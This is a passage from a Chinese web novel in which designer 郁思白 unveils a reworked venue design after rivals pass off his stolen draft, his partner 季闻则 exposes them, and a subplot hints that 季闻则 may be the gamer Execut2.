台上,邓工脸上的笑容被这话刺得一僵。 站着的那个邓工学生猛地拍桌,梗着脖子:“是你们的人先喊的!” 于设发出一道巨大的嗤声:“郁工又不是我老师,嘴长我脸上,他管得了我?” 坐在前排的甲方投资大佬们有些乐得好奇吃瓜,有些则不满。 “这两个团队有过节?”其中一人道。 藤竞方的项目负责人陈经理起身,陪着笑,头要点不点的。 说话的投资商摇摇头:“台下面那个团队,不是找事儿么……还是邓工资历老,稳得住啊。” 陈经理笑了下,正要说话,却被旁边一双碧绿眼睛的外国人打断。 克里夫自己就是资本,压根不准备给任何人面子,冷笑一声道:“刚刚开口的是别人。‘路见不平一声吼’,这不是你们的谚语吗?” 说话的投资商被这个突然口吐中文的外国人吓了一跳,转而想到自己开场前,似乎和旁边的老总以为对方听不懂,还对着他玩笑了好几句,此刻脸色来回变化,没再开口。 陈经理连忙弯腰伸手隔开克里夫的视线,又站直了环顾四周,打圆场道:“好了,我们先听邓工讲吧。” 一场混乱的插曲这才结束,台上邓工重又扬起微笑,不急不缓地将这个方案娓娓道来。 第一排的投资商们,渐渐也都沉浸在他的分享中,多少都露出兴致来,而且随着进度的推进,愈发地感兴趣。 只有克里夫,邓工越往下讲,他的脸色就越差。 可他又没法站起来说“我看过郁工的图”。 私底下,他和陈经理、包括每个投资商,当然都有各自私下接触过的团队,但表面上的规矩,至少必须遵守。 见他脸色不好,一旁的陈经理笑了笑,凑过来宽慰:“克里夫先生,你上次不就是很喜欢郁设计师的思路吗?邓工这个,我看做的也很不错啊。” 克里夫瞥了他一眼,没说话。 他再傻也知道,郁思白这是摊上倒霉事儿了。 平心而论,邓工团队的方案相当不错,和他最喜欢的郁设的方案相差不多不说,甚至就某些细节来讲,比他看到的郁设的终稿还要亮眼。 如果没有季闻则这层关系,克里夫是肯定不介意最后给邓工团队投上一票的。 但现在,脑海里始终有Execut2那个魔鬼压在那,克里夫便没有第一时间表态。 邓工的介绍结束后,进入到提问环节。台下的投资商们真是越听越满意,问的问题数量,差不多是前面两三个团队的总和。 而邓工也一一对答如流。 “感觉就是这个了。”有投资人说。 旁边人也不住地点头:“够惊艳。后面再有什么,恐怕我也记不住了。” “这个邓工团队挺厉害啊,我手上正好有个项目,如果能交给他们做,那也不错。” 第一排大佬们的交谈声隐隐约约飘向后排,台上,给师兄搭把手的卢近仁的目光也跟着投去。 为了更清楚地看到屏幕,大厅的灯光调得很暗,但卢近仁努努力,还是看清了最后排那些人的神情。 于设看都不想看台上一眼,白眼都要翻到天上去,高向日和小穆的脸色已经黑成锅底,两位女士低头交谈着什么,神情严肃。 只有郁思白后靠在椅背里,双手随意搭在膝上,目光直直看着ppt上不时切换的图片,冷着脸,什么都没做。 哈,恐怕也是什么都做不了吧。 这样想着,卢近仁心底不由得油然生出窃喜,紧随而来的,又是浓烈的得意。 顺序是陈经理刻意安排的,先展示的是他们,紧接着下一个就是郁思白——无法自证的郁思白。 就算他能两三分钟就改一张图,那改的也是别人的图。卢近仁想。 他就不信,郁思白还能在这短短十几分钟里,再优化连自己都满意地拿出来的图。 推翻别人容易,否定自己可就难了。 卢近仁下巴抬高,嘴角挑着笑回视过去。 郁思白,你这次还能改吗? 忽然,卢近仁眼前亮起一道刺眼的光。 他和师兄邓工都下意识闭了下眼,稍缓了两秒,才眯着眼睛看过去。 有人推开了大厅的门。 外面的光泼洒进大厅里,吸引得所有人都朝后面看去。 大门在来人身后缓缓关闭,等到大厅里重新昏暗下来,那人已经走到中间的位置,众人才得以看清他的样貌。 一身乍看就知道价格不菲的笔挺西装,深灰色领带更显得气场沉稳。 男人屈指随意抵了一下银丝框镜,唇角扬起一个笑。 卢近仁瞬间变了脸色。 看清这人长相的瞬间,邓工想起这是先前开放日上,看到的郁思白助理,顿时微微皱眉,低声不满:“一个助理而已,进来这么大动静?真是没礼貌。” “师、师兄……”他旁边,卢近仁磕绊道,“这个,这个不是助……” 没等他解释完,只见原本都认真和他问答的第一排的甲方投资商们,都纷纷站起身来,两个没起身的年长者,也都侧身看过去,面带笑容。 “哎呀,季总!”之前话最多的那位投资商扬起满脸笑容,甚至往过迎了几步。 “赵总,好久不见。”季闻则轻笑颔首。 话最多的赵总顿时故作不满道:“你这几次回京总是来去匆匆,想跟你吃个饭,我是连排队的档期都赶不上啊!” 季闻则笑笑:“我着在沪市这边新官上任,实在是忙昏了头。” 赵总迎着他往第一排去,落后了半个身位,闻言又挂上笑容:“那择日不如撞日,今天季总有没有空赏光啊?” “今天恐怕不巧了。”季闻则一哂,声音不大不小,却正好能落入台上两人的耳朵。 “今天,我还准备参加我们团队的庆功宴呢。” 聚光灯下,邓工的脸色陡然变得煞白。 他这是什么意思?他要给郁思白出头?以这种方式?! 赵总眼神闪了闪,周围其他几个投资商听见,纷纷询问:“这名单里没有庭季的啊,季总是相中哪个了?” 邓工藏在演讲台之后的手攥成拳,竭力压抑住急促的呼吸,目光死死盯住季闻则,深深吸气,脑海里天人交战。 郁思白带来的助理,竟然还有这样的来头! 这人突然出现在这里是为什么?原来的投资商他全部都被陈经理引荐过,根本没有这么一个人! 他是临时来的……凭什么,为什么! 脑海里乱七八糟,邓工忽然觉得隔壁旁有什么东西在颤抖,然后就听见卢近仁不太平稳的声音。 “师、师兄……”卢近仁压低声音,胳膊微微抖着,连带着声音是。 “季闻则,不会是要对我们下手吧……” 邓工眉头猛地一皱,下一秒又飞快恢复正常,只是垂在身侧的手,已经用力地扣住了演讲台的边缘。 卢近仁的话像一道惊雷,在他脑海里炸响。 季闻则掌握了证据,来拉他们下台? 他竭力平复情绪,低声道:“不,不会。你是拐了好几道弯,才联系上钱翀留在二组的那个关系户的,他们不可能这么快就查到你。” 邓工没说的是,就算查到卢近仁头上,他自己也还有足够的手段脱身。 现在,只看季闻则的回复了—— 在众投资商的簇拥中,季闻则在第一排空下的唯一一个位置坐下,笑容和煦,不甚在意地摆手。 “这怎么好说。”他道,“打扰各位了,继续吧?” 众投资商纷纷笑着坐回原位,陈经理擦一下额角的汗,看向台上,宣布提问环节继续。 可话音落后,台上的邓工却迟迟没有开口,直愣愣看着季闻则,像在走神。 “邓工?”陈经理咳嗽一声,提醒。 邓工恍然回神:“好的,请说。” 他死死扣住演讲台边缘的手恍惚地松开,因为过度用力而不受控地颤抖。整个人有种拉紧弓弦、但放了支空箭的茫然和心有余悸。 这位季总……没说话?没有给郁思白出头?甚至没提到一点方案的事? 就,这么轻轻揭过了? 邓工的心跳还有点快,他深知这个项目对自己的重要性,也深知,自己现在是走在钢丝上,已经禁不起任何一点风吹草动了。 赵总提问:“邓工,我想知道关于入场的这片区域,你做这样的设计是为什么?会不会有点华而不实了。” 邓工回头,看向赵总询问的部分,脑海里乱成一团。 做这样的设计是为什么?该死,我怎么知道为什么! 这部分在他看来,就只是好看而已,因为足够好看,所以他拿到手只进行了一些细微的修改,让它看起来和原样有了些许差异。 “赵总说的有道理。”邓工勉强挤出笑容,道,“这部分确实是做的华而不实了,或许删减一些更好。” “删减?”闻言,赵总皱了皱眉,不大满意地嘟囔,“那不就不好看了么……原本以为是有什么深意,真可惜。” ——坏了。 邓工瞬间从慌张中清醒,意识到自己这个回答,简直踩了个大雷。 他作为“设计师”,在现在应该做的是展示和分享,而不是顺着投资商的话滑跪,显得腹中空空! “我们都问得差不多了。”赵总有点意兴阑珊,道,“不如最后一个问题,季总来问?” 陈经理看了台上一眼,开口笑着说:“季总刚来就要提问,也太累着了。更何况季总也没看到之前邓工的介绍……” “这个没关系。”季闻则笑得宽和,随口道,“这图我也看过差不多的,多少了解些……” 只一句话,邓工的心再次唰地一下被攥紧。 他刚刚的回答走了最臭的一步棋,这位季总肯定会揪住这个破绽,他不可能放过…… 紧接着,季闻则不轻不重地笑了声,接道。 “——但提问还是算了。”他说,“我对这个方案兴趣不大。” 这下,不光台下投资商们愣住,就连邓工也愣住了。 ……这不是你们郁设计的图吗?你对这个图兴趣不大?开玩笑吧! 等等。 邓工脑海里,突然一闪而过一个念头。 明明背靠公司更有好处,但郁思白他们并没有以庭季设计一组的名义参选,而是脱离出来,组建了一个稀奇古怪的独立设计团队。 难道说,他和庭季之间,起了内讧?! 这样的猜测,让邓工眼睛瞬间一亮,脊背挺得更直,就连嘴角笑意都扬得更高了些。 陈经理也笑道:“那就谢谢邓工的分享,下一个团队可以准备了。” 邓工转身,脚踩到第一个台阶的时候,竞有种终于脚踏实地的心安感觉。 “师兄,应该没事了!”身后,卢近仁显然也和他是一个想法,声音虽然很低,但语气飞扬。 “郁思白就在我们后面紧跟着,刚刚我看见他在台下就只是坐着,估计是已经放弃了吧,哈哈。师兄您放心,这局我们赢定了!” 卢近仁说着,擦了一把额上的汗。 这计划就是他向师兄提出来的,虽然有师兄弟的情谊,但卢近仁也清楚,邓工不是个讲情分的人,他想留下,必须得做出点什么大事儿来。 这是他最好的机会。 两人各怀心思,顺着正中的过道往最后一排的座位走去。 郁思白就在这个时候起身,手里拿着一叠厚厚的方案,步子沉稳,不急不缓地上前。 直到和邓工擦肩而过。 他陡然脚步一顿! 邓工听见一声很轻的、带着睥睨意味的笑。 “有些东西你们想不到,可不代表不存在啊。” 刷地一下,邓工立刻停下脚步,骤然扭身回头,伸手就要拉他。 可却只能看见郁思白已经走出他臂展范围的、迎着聚光灯而去的背影。 而所有人的目光都追随着他,再没有一道视线停留在黑暗里、邓工和卢近仁的身上。 郁思白一个人走上前去,在第一排停下,然后将臂弯里抱着的厚厚一沓装订好的文件,依次发给第一排的所有投资商。 “这什么?”赵总玩笑道,“挺像以前上学时候给发的教案啊。” “是我们团队方案的辅助讲解材料。”郁思白说,声音淡淡,但独有一种气定神闲的稳。 赵总惊道:“嚯!这么新奇。” 郁思白顺路发给右半边的投资商,另外的左半边则由武天骄负责。 很快他走到最右侧的、原本空着的那个座位。 发到这儿,他手上只剩了最后一份材料,正要递上去,却在半路忽然收了回来。 季闻则原本都准备伸手去接了,结果接了个空,眉头微抬,带着点笑意看他。 “没我的份吗?郁老师。”他一弯眼睛,温声问。 郁思白始终垂下的唇角,忽然轻轻挑起一点弧度。 “没有了啊,季总。”他轻飘飘说,“我怎么不知道,今天季总也会坐到这儿呢。” 坐在季闻则旁边的投资商侧头看了眼,顿时被这位年轻设计师脸上的冷笑一惊。 怎么了,怎么了这是……这儿也有仇?! 他心里正咯噔,却见季闻则仍是一脸温和笑意,手肘撑在桌面上,手背曲起抵着下颌,一双眼睛只落在对面的青年脸上,唇角弧度更甚,闲适道。 “因为,今天是你的主场啊。” 没头没尾的一句,那个冷着脸的俊秀青年却忽然笑了。 不再是先前那个冷笑,而是像花朵在冰原绽开一样、牵出两个梨涡的笑。 郁思白重新把最后一份材料放到他桌面上,屈指轻抵,推到他面前。 “我的这份给你了,季老板。” 说罢他转身上台,双手空无一物。 坐在季闻则旁边的投资商暗暗窥视了一会儿,此时终于凑过去,低声问:“季总,这位就是你看好的设计师?” “不是。”季闻则轻笑,在那位投资商困惑的目光里,接着道。 “我是他认可的合作人。” 投资商怔愣,直到季闻则含笑提醒他台上已经要开始了,才把目光机械地移回屏幕。 郁思白上台后打开ppt,首图被播放到屏幕的瞬间,全场哗然。 虽然渲染图的风格、灯效都不同,但在场都是内行,所有人都看得出,这个方案的设计和刚结束的邓工团队的方案,一模一样。 甚至连第一排的部分投资商都看得出来。 克里夫瞬间坐直,第一时间看向季闻则,可对方仍旧挂着他那张捉摸不透的笑面。 克里夫眉头一紧。 这是……放弃了? 台下诸多设计团队,也不可避免地簌簌起来。 “卧槽,这还真一样啊?!” “人老于又不是傻子。” “这到底是谁抄的谁……” “邓工资历摆在那,不至于抄吧。” “管他谁抄谁的,呵呵,反正我要是投资人,肯定是先入为主。” “……唉,郁设这签运差了,真是天公不作美。” “是不是天公还指不定呢。” 质疑、讥讽、遗憾……一句句话潮水般涌上演讲台,郁思白站在所有的声音中心,垂眸把鼠标切成画笔。 然后在那张和邓工团队全然一致的图上,画了一个巨大的红叉! 他抬头,目光淡淡扫过全场,开口。 “如诸位所见——这是我们的一个废案。” 全场的讨论被他一句话按下静音,霎时间,针落可闻。 郁思白转身,抬手指了一下效果图的某处:“曾经我也觉得这个方案已经足够完美——包括入场走廊处,那些显得繁复、但隐藏了许多小彩蛋的设计。” “看着这个一点点改出来的方案,我真的很满意,一度觉得,这大概是我三十岁以前能做出的最好的东西。” 说罢,他手臂落下,被红叉覆盖的效果图顿时剥离画面,蝉蜕一样,显露出自里面生出的下一张图。 “但我想,电子竞技、包括所有竞技类运动参与者,大概都有一个毕生追求。” “超越自我。” 四个字,掷地有声。 郁思白的眉眼仿佛都被聚光灯染上辉芒,他忽然扬起嘴角,很轻、但发自内心地笑了一下。 “很开心能带着新的方案和大家见面,这次我选择的主题是——“ “蜕变。”—— 作者有话说:[烟花]我们最帅的郁老师[烟花] 嗷嗷!大家的月石收到啦!好多呜呜,目前完全够用了!太谢谢大家了——[撒花] 加更的事我都有在小本本记好!不会忘记。但最近几天确实不行[爆哭]马上收假了,我需要攒一点点存稿,来保证收假后如果突然忙起来的话,不会突然断更,毕竟我们还是要至少保证每天先吃上嘛! 答应大家,一定非常努力地写!谢谢大家的喜欢! [猫爪] 第39章 新方案并不是完全推翻后的产物, 它相较于原废案,有明显的修改痕迹,但却一点也不会给人相似感。 “在主舞台两侧, 我们修改了原先比较普通的设计,改为现在这样。”郁思白示意, “其实表现在图纸上, 只是两笔的改动而已,但落地效果天差地别。” “对……对,就是这两笔!”台下有人低声惊呼。有人看过去,惊讶地发现,说话的人是一个络腮胡小老头。 再仔细一看,那小老头, 赫然是他们在教科书上见过的面孔! 小老头受邀带着学生来参加这个项目的竞选,先前都一副怏怏的模样, 就连自己学生上台, 神情也十分嫌弃,但现在竟然直接起身走到第一排去, 只一个眼神,就让陈经理把自己那份材料递了上来。 小老头带着他打劫的材料坐回原位,仍然叠声感叹:“都对、都对!刚才那个邓什么的方案,我就总觉得哪里不合适, 欠着点, 原来是要这样改!” 坐在他身边的学生扁了扁嘴道:“什么邓的方案……老师, 我看恐怕不是吧。” 话音未落,就被年长些的同门拐了一下:“哎,别乱说。”说罢,又用眼神示意他偷偷朝后看。 躲藏在最后一排的邓工一行人, 此刻无不是脸色煞白。 邓工咬牙切齿,侧头压低声音,狞声问:“卢近仁!你给我解释现在是怎么回事!” 然而卢近仁一张脸也毫无血色,闻言不住地慌张摇头,喃喃。 “不对啊,昨晚他们的终稿不是这样的……昨晚还不是……” 邓工瞬间明白了是怎么回事,顿时,一种被糊弄诈/骗的怒火直冲天灵盖,抬手,照着卢近仁的后脑就是一巴掌。 “成事不足,败事有余的东西!”他骂。 卢近仁被打得脑袋瓜嗡嗡,却也想不出一个解决方案来,脸上茫然又呆滞的表情,让邓工越看越气,脸彻底黑了。 邓工此刻只觉得心里有一团越来越大的火,几乎要把本就敏感的神经烧断。 他一点也不想听郁思白的发言,却又不得不每个字都听清,生怕他下一句话,就话锋一转,直指他们抄袭…… 邓工心里七上八下,强忍住拔腿就走的冲动,告诉自己,事情还有转机。 那位季总不说,代表他不打算为姓郁的撑腰。郁思白不说,就说明他压根没有证据。 至于项目……对,也没事的,他提前跟陈经理打过招呼,和投资商们都吃过饭,而且刚刚的分享里,他们也很认可自己团队的方案不是吗! 邓工这样在心里宽慰自己,终于挺直了脊背,去看第一排那些投资商。 可看到的、听到的,再次让他如坠冰窟。 那些原本对他笑容亲近的商人,此刻一个个都把更加赞许的笑容投给了台上的人。分享结束时,他们朗声大笑,纷纷鼓掌。 “嗯,这个改的明显更好啊!蜕变,好主题!” “哈哈,不愧是原本构建这个思路的设计师,年纪轻轻,大有可为啊。” “有句话怎么说来着?学我者生,像我者死?诶哟,开个玩笑……” 一直对郁思白方案十分中意的绿眼睛外国人更是头一个叫好。 陈经理回头看了邓工一眼,摇头表示无能为力,也举手随着众人鼓掌。 而那位季总…… 他始终没有回头,目光一直落在台前青年的身上。 ppt翻到最后一页,是一张夺冠后、台上洒满金雨的场景照片。照片里的人是个捧杯的背影,队服背后,还隐约可见“Execut2”的名字。 郁组长又在偷偷夹带私货了。 他左跨一步离开演讲台,站到正中,向台下浅浅鞠躬后重新站直,像和照片里的人背靠背似的。 奖杯被举过他的头顶,在经久不息的掌声中,郁思白向所有人无声宣告属于他的胜利。 后面的提问环节,自然也是再顺利不过。话筒递到季闻则面前的时候,他想了想说。 “有关方案细节的事,我觉得大家都问得很细致了。那我随便凑个数吧。”他轻笑着问,“郁工,我有些好奇,你花了多久改出了这个新方案呢?” 郁思白嘴角不太明显地抽了一下,有意无意地瞪了他一眼。 花了多久你不知道?你这两天晚上加了多久的班,我就花了多久改。 心里这样吐槽,但他面上还是一板一眼道。 “方案是在两天前,一个比较紧急的情况下突然生出的新思路,所以稍微加了两个晚上的班,赶在宣讲前交了一张满意的答卷,也算是因祸得福了。” 台下人纷纷点头,以为他已经回答完了,陈经理正要宣布上午的宣讲到此结束,就听郁思白又补了一句。 “唔,还要特别感谢一下,今天没跟我们一起到场的季助理。”他轻轻勾唇说,“ppt做的不错。” 投资商们听不懂其中深意,却也附和着表示ppt确实精美。后排一组几人面面相觑。 高向日看向武天骄:“不是,我还以为是你做的?” 他刚刚虚惊一场,此刻瘫坐在椅子里,只一双眼睛左右转转。 “我那ppt水平,能把一百分的方案做成60分吧。”武天骄对自己也是毫不客气。 高向日又看向这件事的另一个知情人:“老……杨总助,那难道不是你做的吗?” 年纪轻轻已经变成老杨的杨孟越瞥他一眼,好笑道:“老高啊,季助理要表现,哪里轮得到我?” 季助理,要表现。 六个字掉进高向日脑子里,让他有点晕晕的。 上午场终于在陈经理的宣布后落下帷幕,所有人都陆续起身,本就坐在最后一排的邓工团队,更是在邓工本人的带领下,争了这个先。 可没等大门被推开,一个含笑的声音从台前响起。 “邓工,留步。” 只一句话,邓工向前的脚步便怎么也迈不出去了,他在原地僵了两秒,才缓缓转身回头。 此刻,他心里还始终留有一点侥幸,希望这位季总喊住他,是为了和他私下谈谈怎么一起对付姓郁的。 季闻则不急不缓走到他面前两米,邓工脸上挂起笑容,主动对面前称得上晚辈年纪的男人伸手,放低姿态道。 “久仰了季总,我是……” 那双含笑的眼睛垂下,如同扫过垃圾一样,扫过了他伸出的手,然后就此忽略。 他手里还拿着那份郁思白团队的材料,抬手随意一晃,笑道。 “我替我们团队的设计师,来跟邓设计聊聊这个‘废案’的归属吧?” 季闻则把“废案”这两个字咬得很重,成了压倒骆驼的最后一根稻草,邓工的笑容终于彻底垮了,只觉得这两个字,像往他脸上重重甩了两巴掌。 他们当宝贝一样找来的图纸,只不过是郁思白很不满意的一个废案而已? 邓工竭尽全力定了定心神,强撑道:“季总是说什么,归属?我怎么听不太懂了。” 他们不会有证据的,只是钓鱼诈人而已。邓工这样告诉自己。 最多,最多也就查到卢近仁!那他只要把卢近仁推出去就一了百了了。 “啊,是么。”季闻则笑眯眯的,也没反驳他的话。 邓工一口气还没送到底,就见他忽然看向自己身后的卢近仁。 “卢设计。”他说,“你不觉得,这是一个很好的、将功折过的机会吗?” 霎时间邓工浑身血液都凉了,目眦欲裂,回头威胁地低喊:“卢近仁!” 时隔许久再次被季闻则点名的卢近仁,已然腿都软了。 他抬手撑住旁边的椅背,目光慌张地左右颤抖。 在季闻则喊出他名字的瞬间,他就知道自己今天逃不过这一劫了,现在无非就是选哪边的问题。选师兄这边……季闻则不可能放过他们。 那还不如将功折过! 卢近仁感受到邓工几乎要杀人的目光,却第一次在师兄的目光下,产生了一点硬气起来的力气。 人到绝境,当然会只顾着自保! 卢近仁再也没有犹豫,上前几步拉开和邓工的距离,开口就是最有分量的一句。 “是师……是邓工指使我想办法拿到郁组长团队的方案图!抽签顺序也是邓工找人安排的,为的就是不让郁组长有临场改图的时间!我还知道很多,季总!我都知道!” 周围顿时窃窃私语起来,很快就演变成一场声势浩大的讨伐。 “怎么这样……” “哈,他们团队一直小动作都很多。” “还带着学生,啧,跟着这种老师不是祸害人吗?” …… 邓工站在原地,浑身像失去力气一样,脑海里也再冒不出什么手段。 偏偏这时候季闻则开口,温和道:“好了邓工,也没其他事情,你可以走了。” 就好像是,只为了按着他在这被千夫所指一次,也并没有什么更多的惩罚…… 也对。邓工恍惚着想。 再怎么说,自己也是粤市知名的设计团队,虽然现在有些危机,但背后也算牵一发动全身,庭季不看僧面看佛面,也不会对他下死手,更别提什么实质性的报复—— “哦,忘记了。”季闻则忽然想起什么,噙着笑回头,朝【没想好独立设计团队】的座位招了招手。 高向日和小穆立刻会意,一人按着胡啸一条胳膊,狱卒似的,把人一路按了过来。 胡啸一路嚷着:“别抓我,高哥,小穆!我也是为团队做过贡献的!你们都另有准备了,也没影响项目宣讲,那我也没有损害到你们的利益啊!” 郁思白唰地拉上背包拉链,轻巧一甩,把包单肩跨上走来,冷淡道。 “哦,你是说,反正你也死不了,所以我打你两巴掌也无伤大雅吗?” 围观人群里传出几声嗤笑。 不知谁在胡啸后背上重重一推,胡啸就这么跌跌撞撞地被丢进了邓工的队伍。 “跟庭季的律师说去吧!”高向日恶狠狠说。 季闻则挥了挥手,淡道:“把他也一并带走吧,邓工。” “这样我们的律师也能少跑一趟了,不是么?” ——律师。 邓工脑海里嗡的一下,彻底乱了。 他猛地抬眼,死死盯住面前的男人,对方仍旧气质温和笑容圆滑,干的事儿却是毫不犹豫就下了死手! 这不对……不是说庭季的季少爷颇有其母风范,是个处处圆滑的性子么?现在怎么看着这么像、这么像…… ——像他资料里查到的那些,做事冲动、不顾后果、不知谦逊、一个个脾气硬的要冲到天上的电竞选手。 什么僧面佛面全然不知,好像一时意气就能让脊梁骨硬一辈子。 可邓工知道,季闻则能。 就在这时,邓工看见一个熟悉的身影从侧面走过——是他分享的时候,台下说要跟他合作项目的那个投资商。 他顿时像看见救命稻草一样,伸手就要拉住那人,嘴上道:“徐总,徐总您——” 被称作徐总的人立刻加快脚步,反手甩开邓工伸过来的手,皱眉,一言不发地离开,走得头都没回。 人群里,不知谁先带头笑了一下,紧接着,低低的笑声就像涟漪一样阵阵扩散开来。 邓工知道自己这次踢到铁板了,深吸一口气,目光如同刀子用力剐过站在季闻则附近的卢近仁,却没敢看离得更近的郁思白,转身低声道。 “我们走!” 他没有半点想要道歉的意思,道歉无用,有这功夫,他不如早点回去早做打算。 邓工一行人走得稀稀拉拉,灰头土脸。经行的地方,纷纷有人给他们让位,却不是出于尊敬,一道道目光里,除了嗟叹就是鄙夷。 他们的背影从门外消失后,大厅里气氛逐渐活络起来,皆是围着【没想好独立设计团队】的众人。 于设看着被围在中间的郁思白,还有他身侧含笑的“季助理”,目光里不由得浮现出羡慕和向往。他已经先一步跟郁思白道过喜,于是只上前打了个招呼,就带着团队先告辞了。 和他们同行的,还有宣讲时看上他们方案的那个投资商。 “于工,你看这个方案,咱们什么时候坐到一起调整敲定一下?”投资商是真的欣赏他们的设计,本不该这么冲动催促、以防设计师趁机抬价的,但他似乎已经顾不得这些了。 果不其然,于设犹豫了一下。 投资商立刻展现诚意:“价格好商量,只要您这边报价合适,我现在都能签。” 于设摇头,反光的脑门晃了一下投资商的眼睛。 “您误会了,我不是要抬价。”他说完,又顿了片刻,然后吸了口气,下定决心道。 “方案我绝不抬价,也不会向别家出售,但不是现在。” 投资商疑惑。 于设一推酒瓶底,脑门发光道:“是这样的,我准备跳槽了。我希望能把这个项目,当场我在新东家的开门红。” “原来是这样。”投资商了然,笑了一下,伸手和他用力一握。 “那先祝于工得偿所愿了!”- 大厅里,好不容易应付完一波又一波的同行,郁思白只恨不得变成个物件,往谁兜里一跳。 应酬,真的,很累。 长长出了一口气,郁思白侧目看向旁边的季闻则。 也幸好旁边还站了个应酬大王,否则他都不确定自己能不能活着走出这道大门。 不过累归累,开心也是真的开心。 刚才克里夫来过,言辞之间的意思是,下午完全没有很上的了台面的团队,就连投资商也不像上午来得这么齐,他们【没想好独立设计团队】,几乎已经板上钉钉中选了。 一组几人互相看了一眼,从彼此的视线里都看到了压抑着的狂喜。 “晚上下班,叫上江勘他们一块去搓一顿?”高向日跟几人使着眼色。 武天骄和小穆当然无有不应,杨孟越也点头。 小穆问:“师傅你今天不去接我小师妹了?” 这孩子一根筋,始终认定师父家的女儿必须要叫小师妹,这样比较帅气。 高向日说:“她晚上有兴趣班呢,她奶奶送去。” 小穆大骇:“小师妹才三岁!” “现在小孩还有几个月就开始上课的呢。”高向日奇怪道,“三岁已经很晚了。” “组长,晚上下班之后去吃饭,你去吗?”武天骄问。 她虽然是问了,但其实也只是象征性一提,在场也没人指望着郁思白真的能来。毕竟以往郁思白此人,向来是不参加工作以外的任何聚会的。 可下一秒,在几人愣住的目光里,郁思白稍加思索,侧头问。 “你去吗?” 被问的是季闻则。 季闻则唇边扬起笑容,垂眸说:“我去不方便吧……” 他话音刚落,正好站在附近和人攀谈的赵总突然一探头,插嘴道。 “你们季总可是为了去庆功宴,推掉了跟我的晚饭啊。” 众人:? 各式各样的目光落在季闻则身上,此人却丝毫没有被戳破的郝然,仍旧笑容不改,稳道。 “是啊,还要看郁老师赏不赏脸了。” 郁思白微微侧头,头顶冒出三个问号。 ……又我? 武天骄和杨孟越对视一眼,杨孟越不是一组的人,不方便开口做主,武天骄刚准备开口说点场面话,打个圆场,就听高向日先道。 “那有啥的啊季总。”高向日一咧嘴,笑得毫无阴霾,“这段时间大家都是战友,季总当然也是,你又不跟我们摆老板架子,有啥不能来的!” 武天骄愣了。 这老高……是被胡啸的事儿刺激得,突然会口吐人言了? 她侧头看向杨孟越,却见对方预感到什么似的,闭了下眼睛。 武天骄还没来得及反应,就听高向日紧接着说。 “但是组长,他去了你也得跟着一起去嗷!不然我们可不让他来。” 好嘛,今天的燕国地图真短,真不愧是姓高的。 而且你是真的不怕得罪老板啊。 武天骄也忍不住抬手扶额,心里琢磨着怎么开口劝。 组长肯定是不可能来的,之所以会问一句季总,要么是出于社交礼貌,虽然这个可能性不大;要么的话,就是想给他们一些在领导面前表现的机会,好给他们铺路…… 她正想着,就听见郁思白一句简简单单的:“嗯。” 然后是季闻则羽毛似的一声轻笑。 武天骄神情呆愣地抬头,就见高向日一副傻子克高手的得意样。 她忍不住看了眼窗外,但现在已是正午,根本看不出太阳早上是不是从西边出来的。 于是她的目光落回郁思白身上,复杂想。 他们组长这是终于从千年玄冰化成人形下凡了?为了一个…… 一个老板? 心里总觉得有什么念头模模糊糊地转悠,武天骄的目光在两人之间转悠,手缓缓摸上下巴。 “那就一起去吧,我买单。”郁思白这样说,却古古怪怪地瞥了季闻则一眼。 怎么感觉,这人今天好像……更像狐狸了。 倒不是说他更聪明,也不是狡猾…… 郁思白一时间没想出词儿,也不为难自己高中毕业就开始退化的大脑,抬手直接回收了季闻则手里的那份材料。 季闻则愣了下:“不是发给我了?” “不是说了么,不知道你来,所以没多准备。”郁思白一脸认真,指了下封面手写的“郁”字。 “我都写名字了啊,我的。”他疑惑,“不然上台前我跟你说那么多话干什么?” 季闻则张了张嘴,哑然,哭笑不得地站在那,半晌都没说出来话。 再看过去,郁思白已经完全没在注意他了,摊开材料精准翻到某一页,拿手机拍了一张,似乎是要发给什么人。 脑海里顿时了然,季闻则向找他搭话的投资商道了声失陪,背过身去,拿出始终带在身边的生活手机,点开微信,却没看到意料之中的消息。 他想了一下,又点开朋友圈,失笑。 果不其然,备注【Respit2】的家伙发了两张图,配文【最喜欢的小巧思,希望能夹带私货成功!】。 两张图分别是渲染效果图里很细节的一个角落,花纹细看过去,是一只只兔子;第二张图则是他的【卡兔撒花】表情包。 朋友圈才刚发出去,无人问津,季闻则在两部手机间犹豫了一下,还是让Execut2点了第一个赞。 毕竟【季闻则】的分组,还真不一定看得到这条呢- 郁思白回去之后,又去江勘那边忙了一下午,是在回程的路上,才发现卡神给自己点了第一个赞的。 一个小小的赞,瞬间让他整个下午的疲惫都烟消云散。 他立刻回复【欢迎卡神和卡兔打卡!】 总之,不遗余力地试图勾/引人来一趟现场。 然后见面的时候,把银行卡偷偷包装成礼物,塞给他! 反正网友可能一生就见一次面,等卡神回家一拆开发现银行卡,不要也得要。 这就是生米煮成熟饭,老祖宗的智慧。 郁思白心情颇好,继续巡视评论区,一下午过去,好友们也都像雨后春笋一样冒出来。 【薛简:嚯这表情包挺可爱啊,不愧是专业的。给我也画一个我给你钱!/伸手】 【coco:可以偷表情包嘛/可爱】 【Founder:偷了/点赞】 …… 翻着翻着,郁思白眉头皱了皱,神情忽然困惑起来。 他们都不知道这个表情包吗? 这套表情包是郁思白很早年的时候画的了,那时候他直播还只是小有名气,表情包发在J站动态,也几乎没什么传播量,而他自己怕睹兔思人,渐渐也不再用了。 这样一想,似乎朋友们不知道也是人之常情。 可如果薛简和Founder都没存过的话,那么…… 那么…… 郁思白把手机倒扣过来,眉头紧拧,一张脸更显得冷淡,目光却有种cpu过热的茫然。 季闻则手上的那个【卡兔撒花】,是哪儿来的呢?—— 作者有话说:是啊,哪儿来的呢[问号] [猫爪] 第40章 一番紧张的回忆后, 郁思白惊恐地发现,最近他好像只给两个人发过这【卡兔撒花】。 一个是pupu,另一个……是Execut2。 那么现在的问题就变成了——季闻则到底是认识pupu, 还是认识Execut2呢? 郁思白嘴角微微抽动,半晌又觉得自己实在草木皆兵。 哈哈, 万一是季闻则在网上随便存的呢。毕竟他画的表情包这么可爱, 连卡神都夸赞,季闻则喜欢也是人之常情……等等不要再把这两个名字摆到一起了啊郁思白! 好诡异!! 脑海里一团乱麻,郁思白庆幸自己没在上午宣讲之前来这么一出,否则可真是大罪过了。 乱七八糟的猜测和幻想,把理智的神经挤得动弹不得,郁思白手比脑子快一步, 稀里糊涂地就把那条朋友圈设置成了仅自己可见,好像怕谁杀个回马枪似的。 然后又看着第一个点赞的丑狗头像发愣, 脑海里的思绪根本控制不住。 可是, 他们长得真的有点像,万一…… 直到感受到车子缓缓刹停, 